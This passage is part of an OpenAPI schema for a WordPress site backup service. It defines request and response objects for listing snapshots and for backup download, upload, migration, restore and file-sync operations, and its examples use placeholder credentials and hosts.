"ListSiteSnapshotsRequest": { "type": "object", "required": [ "site_id" ], "additionalProperties": true, "description": "Path and query parameters for listing snapshots for one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "filters": { "$ref": "#/components/schemas/SiteSnapshotFilters" }, "sort": { "$ref": "#/components/schemas/ListSiteSnapshotsSort" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of snapshots per page.", "example": 100 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "filters": { "created_at:gte": "2026-01-01T00:00:00Z", "status:eq": "succeeded" }, "sort": "created_at,desc", "page": 1, "perPage": 100 } }, "ListSiteSnapshotsResponse": { "type": "object", "required": [ "snapshots", "meta" ], "description": "Response envelope returned with a paginated list of site snapshots.", "properties": { "snapshots": { "type": "array", "description": "Snapshots for the selected site.", "items": { "$ref": "#/components/schemas/SiteSnapshot" } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "snapshots": [ { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-09T09:06:43Z", "status": "succeeded", "note": "Before plugin update", "error_message": null, "backups": { "enabled": true, "real_time": false, "files": { "count": { "total": 12, "synced": 10, "ignored": 2 }, "size": { "total": 1200, "synced": 1000, "ignored": 200 } }, "database": { "count": { "total": 6, "synced": 5, "ignored": 1 }, "size": { "total": 200, "synced": 200, "ignored": 0 } } }, "security": { "enabled": true, "scanner": { "status": "clean", "detections": { "files": 0, "scripts": 0, "cron_jobs": 0 } } }, "performance": { "enabled": true } }, { "id": "72b9a5d4c8e1f3a6b0d2c7e9", "created_at": "2026-01-08T09:06:43Z", "status": "failed", "note": null, "error_message": "Snapshot failed.", "backups": { "enabled": true, "real_time": true, "files": { "count": { "total": 4, "synced": 4, "ignored": 0 }, "size": { "total": 400, "synced": 400, "ignored": 0 } }, "database": { "count": { "total": 2, "synced": 2, "ignored": 0 }, "size": { "total": 0, "synced": 0, "ignored": 0 } } }, "security": { "enabled": true, "scanner": { "status": "hacked", "detections": { "files": 1, "scripts": 0, "cron_jobs": 0 } } }, "performance": { "enabled": true } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ShowSiteSnapshotRequest": { "type": "object", "required": [ "site_id", "snapshot_id" ], "description": "Path parameters for showing one site snapshot.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "snapshot_id": { "$ref": "#/components/schemas/SnapshotId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "snapshot_id": "65a8f4c2d1b3e7f9a0c5d8e2" } }, "ShowSiteSnapshotResponse": { "type": "object", "required": [ "snapshot" ], "description": "Response envelope returned with one site snapshot.", "properties": { "snapshot": { "$ref": "#/components/schemas/SiteSnapshot" } }, "example": { "snapshot": { "id": "65a8f4c2d1b3e7f9a0c5d8e2", "created_at": "2026-01-09T09:06:43Z", "status": "succeeded", "note": "Before plugin update", "error_message": null, "backups": { "enabled": true, "real_time": false, "files": { "count": { "total": 12, "synced": 10, "ignored": 2 }, "size": { "total": 1200, "synced": 1000, "ignored": 200 } }, "database": { "count": { "total": 6, "synced": 5, "ignored": 1 }, "size": { "total": 200, "synced": 200, "ignored": 0 } } }, "security": { "enabled": true, "scanner": { "status": "clean", "files": { "total": 12, "scanned": 10 }, "database": { "total": 6, "scanned": 5 }, "detections": { "files": 0, "scripts": 0, "cron_jobs": 0 } } }, "performance": { "enabled": true, "score": 85, "load_time": 1.2, "page_size": 512000, "total_requests": 42 } } } }, "StartSiteBackupDownloadRequest": { "type": "object", "required": [ "download" ], "additionalProperties": true, "description": "Fields for starting a backup download.", "properties": { "download": { "type": "object", "required": [ "scope" ], "additionalProperties": true, "description": "Backup download settings to use.", "properties": { "scope": { "type": "object", "additionalProperties": true, "description": "Files and database parts to include from the snapshot.", "properties": { "include_files": { "type": "boolean", "default": false, "description": "Whether to include files from the snapshot.", "example": true }, "include_database": { "type": "boolean", "default": false, "description": "Whether to include database tables from the snapshot.", "example": true }, "paths": { "type": "array", "minItems": 1, "description": "File or directory paths to include when `include_files` is true. Omit to include all files.", "items": { "type": "string", "minLength": 1 }, "example": [ "./wp-content/uploads/" ] }, "tables": { "type": "array", "minItems": 1, "description": "Database tables to include when `include_database` is true. Omit to include all tables.", "items": { "type": "string", "minLength": 1 }, "example": [ "wp_posts" ] } } }, "options": { "type": "object", "additionalProperties": true, "description": "Optional behavior settings for the download task.", "properties": { "real_time_events": { "type": "object", "additionalProperties": true, "description": "Include real-time events after the snapshot up to a cutoff timestamp.", "properties": { "enabled": { "type": "boolean", "default": false, "description": "Whether to include real-time events.", "example": true }, "until": { "type": "string", "format": "date-time", "description": "ISO 8601 cutoff timestamp. Required when real-time events are enabled.", "example": "2026-01-10T09:00:00Z" } } } } } } } }, "example": { "download": { "scope": { "include_files": true, "include_database": true, "paths": [ "./wp-content/uploads/" ], "tables": [ "wp_posts" ] }, "options": { "real_time_events": { "enabled": true, "until": "2026-01-10T09:00:00Z" } } } } }, "StartSiteBackupDownloadResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a backup download task starts.", "properties": { "task": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Task created to package a backup snapshot for download.", "properties": { "id": { "type": "string", "description": "Task ID returned by the download request. Use it with Tasks to track progress.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" }, "status": { "type": "string", "description": "Current task status at creation time.", "example": "initializing" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the download task was created.", "example": "2026-02-21T10:00:00Z" } } } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } }, "StartSiteBackupUploadRequest": { "type": "object", "required": [ "upload" ], "additionalProperties": true, "description": "Fields for starting a backup upload.", "properties": { "upload": { "type": "object", "required": [ "destination", "scope" ], "additionalProperties": true, "description": "Backup upload settings to use.", "properties": { "destination": { "type": "object", "required": [ "provider" ], "additionalProperties": true, "description": "Connected backup destination that will receive the snapshot upload.", "properties": { "provider": { "type": "string", "enum": [ "dropbox", "google_drive" ], "description": "Backup destination provider.", "example": "google_drive" }, "id": { "type": "string", "description": "Connected Google Drive backup destination ID. Required for Google Drive and not accepted for Dropbox.", "example": "bkd_8fd93a2c91e44d19" } } }, "scope": { "type": "object", "additionalProperties": true, "description": "Files and database parts to upload from the snapshot.", "properties": { "include_files": { "type": "boolean", "default": false, "description": "Whether to include files from the snapshot.", "example": true }, "include_database": { "type": "boolean", "default": false, "description": "Whether to include database tables from the snapshot.", "example": true }, "paths": { "type": "array", "minItems": 1, "description": "File or directory paths to include when `include_files` is true. Omit to include all files.", "items": { "type": "string", "minLength": 1 }, "example": [ "./wp-content/uploads/" ] }, "tables": { "type": "array", "minItems": 1, "description": "Database tables to include when `include_database` is true. Omit to include all tables.", "items": { "type": "string", "minLength": 1 }, "example": [ "wp_posts" ] } } }, "options": { "type": "object", "additionalProperties": true, "description": "Optional behavior settings for the upload task.", "properties": { "real_time_events": { "type": "object", "additionalProperties": true, "description": "Include real-time events after the snapshot up to a cutoff timestamp.", "properties": { "enabled": { "type": "boolean", "default": false, "description": "Whether to include real-time events.", "example": true }, "until": { "type": "string", "format": "date-time", "description": "ISO 8601 cutoff timestamp. Required when real-time events are enabled.", "example": "2026-01-10T09:00:00Z" } } } } } } } }, "example": { "upload": { "destination": { "provider": "google_drive", "id": "bkd_8fd93a2c91e44d19" }, "scope": { "include_files": true, "include_database": true, "paths": [ "./wp-content/uploads/" ], "tables": [ "wp_posts" ] }, "options": { "real_time_events": { "enabled": true, "until": "2026-01-10T09:00:00Z" } } } } }, "StartSiteBackupUploadResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a backup upload task starts.", "properties": { "task": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Task created to upload a backup snapshot to a connected backup destination.", "properties": { "id": { "type": "string", "description": "Task ID returned by the upload request. Use it with Tasks to track progress.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" }, "status": { "type": "string", "description": "Current task status at creation time.", "example": "initializing" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the upload task was created.", "example": "2026-02-21T10:00:00Z" } } } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } }, "StartSiteBackupMigrationRequest": { "type": "object", "required": [ "migration" ], "additionalProperties": true, "description": "Fields for starting a backup migration.", "properties": { "migration": { "type": "object", "required": [ "destination_url", "type", "scope" ], "additionalProperties": true, "description": "Backup migration settings to use.", "properties": { "destination_url": { "type": "string", "format": "uri", "description": "Absolute HTTP or HTTPS URL for the migration destination.", "example": "https://destination.example.com" }, "type": { "type": "string", "enum": [ "internal", "external" ], "description": "Migration destination type.", "example": "external" }, "scope": { "type": "object", "additionalProperties": true, "description": "Files and database parts to migrate from the snapshot.", "properties": { "include_files": { "type": "boolean", "default": false, "description": "Whether to include files from the snapshot.", "example": true }, "include_database": { "type": "boolean", "default": false, "description": "Whether to include database tables from the snapshot.", "example": true }, "paths": { "type": "array", "minItems": 1, "description": "File or directory paths to include when `include_files` is true. Omit to include all files.", "items": { "type": "string", "minLength": 1 }, "example": [ "./wp-content/uploads/" ] }, "tables": { "type": "array", "minItems": 1, "description": "Database tables to include when `include_database` is true. Omit to include all tables.", "items": { "type": "string", "minLength": 1 }, "example": [ "wp_posts" ] } } }, "connection": { "type": "object", "additionalProperties": true, "description": "Destination connection details. Required for external migrations and optional for internal migrations.", "properties": { "method": { "type": "string", "enum": [ "http", "ftp" ], "description": "Connection method. Use `http` only for internal migrations and `ftp` for external migrations.", "example": "ftp" }, "credentials": { "type": "object", "additionalProperties": true, "description": "Credentials for the migration destination.", "properties": { "server": { "type": "object", "additionalProperties": true, "description": "FTP, SFTP, or FTPS server credentials for external migrations.", "properties": { "protocol": { "type": "string", "enum": [ "ftp", "sftp", "ftps" ], "description": "Server protocol.", "example": "sftp" }, "host": { "type": "string", "description": "Server host name.", "example": "sftp.example.com" }, "username": { "type": "string", "description": "Server username.", "example": "deploy" }, "password": { "type": "string", "description": "Server password. Required for FTP and FTPS, and accepted for SFTP.", "example": "secret" }, "private_key": { "type": "string", "description": "SFTP private key. Accepted as an alternative to `password` for SFTP.", "example": "example-private-key" }, "path": { "type": "string", "description": "Destination server path.", "example": "/public_html" }, "port": { "type": "integer", "description": "Destination server port.", "example": 22 } } }, "database": { "type": "object", "additionalProperties": true, "description": "Destination database credentials for external migrations.", "properties": { "host": { "type": "string", "description": "Database host.", "example": "localhost" }, "username": { "type": "string", "description": "Database username.", "example": "db_user" }, "password": { "type": "string", "description": "Database password.", "example": "db_secret" }, "name": { "type": "string", "description": "Database name.", "example": "wordpress" } } }, "http_auth": { "type": "object", "additionalProperties": true, "description": "HTTP Basic Auth credentials when the destination site is protected.", "properties": { "username": { "type": "string", "description": "HTTP Basic Auth username.", "example": "site_user" }, "password": { "type": "string", "description": "HTTP Basic Auth password.", "example": "site_password" } } } } } } }, "options": { "type": "object", "additionalProperties": true, "description": "Optional behavior settings for the migration task.", "properties": { "retain_latest_posts": { "type": "boolean", "description": "Whether to retain latest destination posts during migration.", "example": true }, "retain_latest_woocommerce_orders": { "type": "boolean", "description": "Whether to retain latest destination WooCommerce orders during migration.", "example": false }, "preserve_permissions": { "type": "boolean", "description": "Whether to preserve destination file permissions where possible.", "example": true }, "server": { "type": "object", "additionalProperties": true, "description": "Optional destination server metadata.", "properties": { "ip": { "type": "string", "description": "Destination server IP address.", "example": "203.0.113.10" }, "name_server": { "type": "string", "description": "Destination name server.", "example": "ns1.example.com" } } }, "real_time_events": { "type": "object", "additionalProperties": true, "description": "Include real-time events after the snapshot up to a cutoff timestamp.", "properties": { "enabled": { "type": "boolean", "default": false, "description": "Whether to include real-time events.", "example": true }, "until": { "type": "string", "format": "date-time", "description": "ISO 8601 cutoff timestamp. Required when real-time events are enabled.", "example": "2026-01-10T09:00:00Z" } } } } } } } }, "example": { "migration": { "destination_url": "https://destination.example.com", "type": "external", "scope": { "include_files": true, "include_database": true, "paths": [ "./wp-content/uploads/" ], "tables": [ "wp_posts" ] }, "connection": { "method": "ftp", "credentials": { "server": { "protocol": "sftp", "host": "sftp.example.com", "username": "deploy", "private_key": "example-private-key", "path": "/public_html", "port": 22 }, "database": { "host": "localhost", "username": "db_user", "password": "db_secret", "name": "wordpress" }, "http_auth": { "username": "site_user", "password": "site_password" } } }, "options": { "preserve_permissions": true, "real_time_events": { "enabled": true, "until": "2026-01-10T09:00:00Z" } } } } }, "StartSiteBackupMigrationResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a backup migration task starts.", "properties": { "task": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Task created to migrate a backup snapshot to another destination.", "properties": { "id": { "type": "string", "description": "Task ID returned by the migration request. Use it with Tasks to track progress.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" }, "status": { "type": "string", "description": "Current task status at creation time.", "example": "initializing" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the migration task was created.", "example": "2026-02-21T10:00:00Z" } } } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } }, "StartSiteBackupRestoreRequest": { "type": "object", "required": [ "restore" ], "additionalProperties": true, "description": "Fields for starting a backup restore.", "properties": { "restore": { "type": "object", "required": [ "scope" ], "additionalProperties": true, "description": "Backup restore settings to use.", "properties": { "scope": { "type": "object", "additionalProperties": true, "description": "Files, database tables, or WordPress multisite subsites to restore from the snapshot.", "properties": { "include_files": { "type": "boolean", "default": false, "description": "Whether to restore files from the snapshot.", "example": true }, "include_database": { "type": "boolean", "default": false, "description": "Whether to restore database tables from the snapshot.", "example": true }, "paths": { "type": "array", "minItems": 1, "description": "File or directory paths to restore when `include_files` is true. Omit to restore all files. When sent with `subsite_ids`, these replace generated subsite paths.", "items": { "type": "string", "minLength": 1 }, "example": [ "./wp-content/uploads/" ] }, "tables": { "type": "array", "minItems": 1, "description": "Database tables to restore when `include_database` is true. Omit to restore all tables. When sent with `subsite_ids`, these replace generated subsite tables.", "items": { "type": "string", "minLength": 1 }, "example": [ "wp_posts" ] }, "subsite_ids": { "type": "array", "minItems": 1, "description": "WordPress multisite subsite IDs to restore. Accepted only for multisite sites.", "items": { "type": "string", "minLength": 1 }, "example": [ "5", "7" ] } } }, "connection": { "type": "object", "additionalProperties": true, "description": "Connection details. Omit to use same-site HTTP restore.", "properties": { "method": { "type": "string", "enum": [ "http", "ftp" ], "description": "Connection method. Use `ftp` for FTP, SFTP, or FTPS restore credentials.", "example": "ftp" }, "credentials": { "type": "object", "additionalProperties": true, "description": "Credentials for server access, database access, or HTTP Basic Auth.", "properties": { "server": { "type": "object", "additionalProperties": true, "description": "FTP, SFTP, or FTPS server credentials. Required when `method` is `ftp`.", "properties": { "protocol": { "type": "string", "enum": [ "ftp", "sftp", "ftps" ], "description": "Server protocol.", "example": "sftp" }, "host": { "type": "string", "description": "Server host name.", "example": "sftp.example.com" }, "username": { "type": "string", "description": "Server username.", "example": "deploy" }, "password": { "type": "string", "description": "Server password. Required for FTP and FTPS, and accepted for SFTP.", "example": "secret" }, "private_key": { "type": "string", "description": "SFTP private key. Accepted as an alternative to `password` for SFTP.", "example": "example-private-key" }, "path": { "type": "string", "description": "Site root path on the server.", "example": "/public_html" }, "port": { "type": "integer", "description": "Server port.", "example": 22 } } }, "database": { "type": "object", "additionalProperties": true, "description": "Database credentials. Required and accepted only when `method` is `ftp`.", "properties": { "host": { "type": "string", "description": "Database host.", "example": "localhost" }, "username": { "type": "string", "description": "Database username.", "example": "db_user" }, "password": { "type": "string", "description": "Database password.", "example": "db_secret" }, "name": { "type": "string", "description": "Database name.", "example": "wordpress" } } }, "http_auth": { "type": "object", "additionalProperties": true, "description": "HTTP Basic Auth credentials when the site is protected.", "properties": { "username": { "type": "string", "description": "HTTP Basic Auth username.", "example": "site_user" }, "password": { "type": "string", "description": "HTTP Basic Auth password.", "example": "site_password" } } } } } } }, "options": { "type": "object", "additionalProperties": true, "description": "Optional behavior settings for the restore task.", "properties": { "retain_latest_posts": { "type": "boolean", "description": "Whether to retain latest posts, pages, and media created after the selected snapshot.", "example": true }, "retain_latest_woocommerce_orders": { "type": "boolean", "description": "Whether to retain latest WooCommerce orders created after the selected snapshot.", "example": false }, "preserve_permissions": { "type": "boolean", "description": "Whether to preserve original file permissions during restore.", "example": true }, "real_time_events": { "type": "object", "additionalProperties": true, "description": "Include real-time events after the snapshot up to a cutoff timestamp.", "properties": { "enabled": { "type": "boolean", "default": false, "description": "Whether to include real-time events.", "example": true }, "until": { "type": "string", "format": "date-time", "description": "ISO 8601 cutoff timestamp. Required when real-time events are enabled.", "example": "2026-01-10T09:00:00Z" } } } } } } } }, "example": { "restore": { "scope": { "include_files": true, "include_database": true, "paths": [ "./wp-content/uploads/" ], "tables": [ "wp_posts" ] }, "connection": { "method": "ftp", "credentials": { "server": { "protocol": "sftp", "host": "sftp.example.com", "username": "deploy", "private_key": "example-private-key", "path": "/public_html", "port": 22 }, "database": { "host": "localhost", "username": "db_user", "password": "db_secret", "name": "wordpress" }, "http_auth": { "username": "site_user", "password": "site_password" } } }, "options": { "preserve_permissions": true, "real_time_events": { "enabled": true, "until": "2026-01-10T09:00:00Z" } } } } }, "StartSiteBackupRestoreResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a backup restore task starts.", "properties": { "task": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Task created to restore a backup snapshot to the source site.", "properties": { "id": { "type": "string", "description": "Task ID returned by the restore request. Use it with Tasks to track progress.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" }, "status": { "type": "string", "description": "Current task status at creation time.", "example": "initializing" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the restore task was created.", "example": "2026-02-21T10:00:00Z" } } } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "initializing", "created_at": "2026-02-21T10:00:00Z" } } }, "EnableSiteBackupsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for enabling backups on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "EnableSiteBackupsResponse": { "type": "object", "required": [ "backups" ], "description": "Response envelope returned after backups are enabled.", "properties": { "backups": { "$ref": "#/components/schemas/SiteBackupState" } }, "example": { "backups": { "enabled": true } } }, "DisableSiteBackupsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path parameters for disabling backups on one site.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" } }, "DisableSiteBackupsResponse": { "type": "object", "required": [ "backups" ], "description": "Response envelope returned after backups are disabled.", "properties": { "backups": { "$ref": "#/components/schemas/SiteBackupState" } }, "example": { "backups": { "enabled": false } } }, "SiteFileStatsGroup": { "type": "object", "required": [ "total", "synced", "skipped" ], "description": "Count or size totals split by included and skipped snapshot entries.", "properties": { "total": { "type": "integer", "minimum": 0, "description": "Total files, folders, or bytes in the selected snapshot scope.", "example": 3692 }, "synced": { "type": "integer", "minimum": 0, "description": "Files, folders, or bytes included in backups.", "example": 3600 }, "skipped": { "type": "integer", "minimum": 0, "description": "Files, folders, or bytes skipped from backups.", "example": 92 } }, "example": { "total": 3692, "synced": 3600, "skipped": 92 } }, "SiteFileOperationMeta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "description": "Counts for a sync or skip directory request after duplicate paths are processed once.", "properties": { "requested": { "type": "integer", "minimum": 0, "description": "Number of unique paths processed.", "example": 3 }, "succeeded": { "type": "integer", "minimum": 0, "description": "Number of paths processed successfully.", "example": 1 }, "failed": { "type": "integer", "minimum": 0, "description": "Number of paths returned in the `sync.errors` or `skip.errors` array.", "example": 2 } }, "example": { "requested": 3, "succeeded": 1, "failed": 2 } }, "ListSiteFilesRequest": { "type": "object", "required": [ "site_id" ], "additionalProperties": true, "description": "Path and query parameters for listing files and folders in a completed backup snapshot.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "snapshot_id": { "type": "string", "description": "Snapshot ID. When omitted, the latest completed backup snapshot is used.", "example": "987654" }, "path": { "type": "string", "description": "Directory path to list. Defaults to `./`.", "example": "./wp-content/" }, "filters": { "$ref": "#/components/schemas/ListSiteFilesFilters" }, "page": { "type": "integer", "minimum": 1, "default": 1, "description": "Page number.", "example": 1 }, "perPage": { "type": "integer", "minimum": 1, "maximum": 100, "default": 100, "description": "Number of file entries per page.", "example": 100 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "snapshot_id": "987654", "path": "./wp-content/", "filters": { "status:eq": "synced", "name:contains": "index" }, "page": 1, "perPage": 100 } }, "ListSiteFilesResponse": { "type": "object", "required": [ "files", "meta" ], "description": "Response envelope returned with a paginated list of files and folders.", "properties": { "files": { "type": "array", "description": "Files and folders in the requested directory path.", "items": { "type": "object", "required": [ "id", "name", "path", "type", "size", "modified_at", "status" ], "description": "File or folder entry from a completed backup snapshot.", "properties": { "id": { "type": "string", "description": "File ID for this path, modification time, and size.", "example": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==" }, "name": { "type": "string", "description": "File or folder basename shown within its parent directory.", "example": "index.php" }, "path": { "type": "string", "description": "Path relative to the snapshot root, using `./` as the root prefix.", "example": "./index.php" }, "type": { "type": "string", "enum": [ "file", "folder" ], "description": "Whether the entry is a file or directory.", "example": "file" }, "size": { "type": "integer", "minimum": 0, "description": "Entry size in bytes in the snapshot.", "example": 405 }, "modified_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "File modification time in the snapshot, or null when unavailable.", "example": "2026-01-09T09:06:43Z" }, "status": { "type": "string", "enum": [ "synced", "skipped" ], "description": "Whether the file or folder is included in or skipped from backups.", "example": "synced" } }, "example": { "id": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==", "name": "index.php", "path": "./index.php", "type": "file", "size": 405, "modified_at": "2026-01-09T09:06:43Z", "status": "synced" } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "files": [ { "id": "MTc2Nzk0OTY2NV80MDk2X0xpOTNjQzFqYjI1MFpXNTBMeTg9", "name": "wp-content", "path": "./wp-content/", "type": "folder", "size": 4096, "modified_at": "2026-01-09T09:07:45Z", "status": "synced" }, { "id": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==", "name": "index.php", "path": "./index.php", "type": "file", "size": 405, "modified_at": "2026-01-09T09:06:43Z", "status": "synced" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ListSiteFileVersionsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for listing stored versions of one file.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "id": { "type": "string", "description": "File ID returned by the file list.", "example": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==" }, "path": { "type": "string", "description": "File path relative to the snapshot root. Send exactly one of `id` or `path`.", "example": "./index.php" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "id": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==" } }, "ListSiteFileVersionsResponse": { "type": "object", "required": [ "versions" ], "description": "Response envelope returned with stored versions for one file.", "properties": { "versions": { "type": "array", "description": "Stored file versions, newest first.", "items": { "type": "object", "required": [ "id", "modified_at", "size" ], "description": "Stored version for one site file.", "properties": { "id": { "type": "string", "description": "File ID for this stored file version.", "example": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==" }, "modified_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "File modification time for this stored version, or null when unavailable.", "example": "2026-01-09T09:06:43Z" }, "size": { "type": "integer", "minimum": 0, "description": "File size in bytes for this stored version.", "example": 405 } }, "example": { "id": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==", "modified_at": "2026-01-09T09:06:43Z", "size": 405 } } } }, "example": { "versions": [ { "id": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==", "modified_at": "2026-01-09T09:06:43Z", "size": 405 }, { "id": "MTc2NzgwMDAwMF8zOTBfTGk5cGJtUmxlQzV3YUhBPQ==", "modified_at": "2026-01-07T10:13:20Z", "size": 390 } ] } }, "ShowSiteFileStatsRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for showing file, folder, and byte totals.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "snapshot_id": { "type": "string", "description": "Snapshot ID. When omitted, the latest completed backup snapshot is used.", "example": "987654" }, "path": { "type": "string", "description": "Directory path scope. When sent, totals are calculated recursively under this path.", "example": "./wp-content/" } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "snapshot_id": "987654", "path": "./wp-content/" } }, "ShowSiteFileStatsResponse": { "type": "object", "required": [ "stats" ], "description": "Response envelope returned with file, folder, and byte stats.", "properties": { "stats": { "type": "object", "required": [ "files", "folders", "size" ], "description": "File, folder, and byte stats for the selected snapshot and directory scope.", "properties": { "files": { "$ref": "#/components/schemas/SiteFileStatsGroup" }, "folders": { "$ref": "#/components/schemas/SiteFileStatsGroup" }, "size": { "$ref": "#/components/schemas/SiteFileStatsGroup" } }, "example": { "files": { "total": 3692, "synced": 3600, "skipped": 92 }, "folders": { "total": 128, "synced": 120, "skipped": 8 }, "size": { "total": 52428800, "synced": 51380224, "skipped": 1048576 } } } }, "example": { "stats": { "files": { "total": 3692, "synced": 3600, "skipped": 92 }, "folders": { "total": 128, "synced": 120, "skipped": 8 }, "size": { "total": 52428800, "synced": 51380224, "skipped": 1048576 } } } }, "DownloadSiteFileRequest": { "type": "object", "required": [ "site_id" ], "description": "Path and query parameters for downloading one exact file version.", "properties": { "site_id": { "$ref": "#/components/schemas/SiteId" }, "id": { "type": "string", "description": "File ID returned by the file list or file versions.", "example": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==" }, "path": { "type": "string", "description": "File path to download. Must be sent with `modified_at` and `size` when `id` is not sent.", "example": "./index.php" }, "modified_at": { "type": "string", "format": "date-time", "description": "File modification time for exact version download.", "example": "2026-01-09T09:06:43Z" }, "size": { "type": "integer", "minimum": 0, "description": "File size in bytes for exact version download.", "example": 405 } }, "example": { "site_id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "id": "MTc2Nzk0OTYwM180MDVfTGk5cGJtUmxlQzV3YUhBPQ==" } }, "SyncSiteFilesRequest": { "type": "object", "required": [ "paths" ], "additionalProperties": true, "description": "Request body for choosing directories to include in future backups.", "properties": { "paths": { "type": "array", "minItems": 1, "description": "Directory paths to include in future backups. Duplicate paths are processed once. Blank paths are rejected.", "items": { "type": "string", "minLength": 1 }, "example": [ "./wp-content/uploads/", "./wp-content/themes/custom-theme/" ] } }, "example": { "paths": [ "./wp-content/uploads/", "./wp-content/themes/custom-theme/" ] } }, "SyncSiteFilesResponse": { "type": "object", "required": [ "sync", "meta" ], "description": "Response envelope returned after directory paths are marked for sync.", "properties": { "sync": { "type": "object", "required": [ "paths", "errors" ], "description": "Result for directory paths that were marked for sync or rejected.", "properties": { "paths": { "type": "array", "description": "Directory paths successfully marked for sync after duplicate paths are processed once.", "items": { "type": "string" }, "example": [ "./wp-content/uploads/" ] }, "errors": { "type": "array", "description": "Failed paths that were not marked for sync.", "items": { "type": "object", "required": [ "path", "code", "message" ], "properties": { "path": { "type": "string", "description": "Submitted directory path that could not be marked for sync.", "example": "./wp-admin/" }, "code": { "type": "string", "enum": [ "path_not_found", "path_not_directory", "wordpress_path_not_allowed" ], "description": "Machine-readable reason this path failed sync validation.", "example": "wordpress_path_not_allowed" }, "message": { "type": "string", "description": "Human-readable explanation for the failed path.", "example": "WordPress installation paths cannot be marked for sync" } } } } } }, "meta": { "$ref": "#/components/schemas/SiteFileOperationMeta" } }, "example": { "sync": { "paths": [ "./wp-content/uploads/" ], "errors": [ { "path": "./wp-admin/", "code": "wordpress_path_not_allowed", "message": "WordPress installation paths cannot be marked for sync" } ] }, "meta": { "requested": 2, "succeeded": 1, "failed": 1 } } }, "SkipSiteFilesRequest": { "type": "object", "required": [ "paths" ], "additionalProperties": true, "description": "Request body for choosing directories to skip in future backups.", "properties": { "paths": { "type": "array", "minItems": 1, "description": "Directory paths to exclude from future backups. Duplicate paths are processed once. Blank paths are rejected.", "items": { "type": "string", "minLength": 1 }, "example": [ "./wp-content/cache/", "./wp-content/uploads/tmp/" ] } }, "example": { "paths": [ "./wp-content/cache/", "./wp-content/uploads/tmp/" ] } }, "SkipSiteFilesResponse": { "type": "object", "required": [ "skip", "meta" ], "description": "Response envelope returned after directory paths are marked to skip.", "properties": { "skip": { "type": "object", "required": [ "paths", "errors" ], "description": "Result for directory paths that were marked to skip or rejected.", "properties": { "paths": { "type": 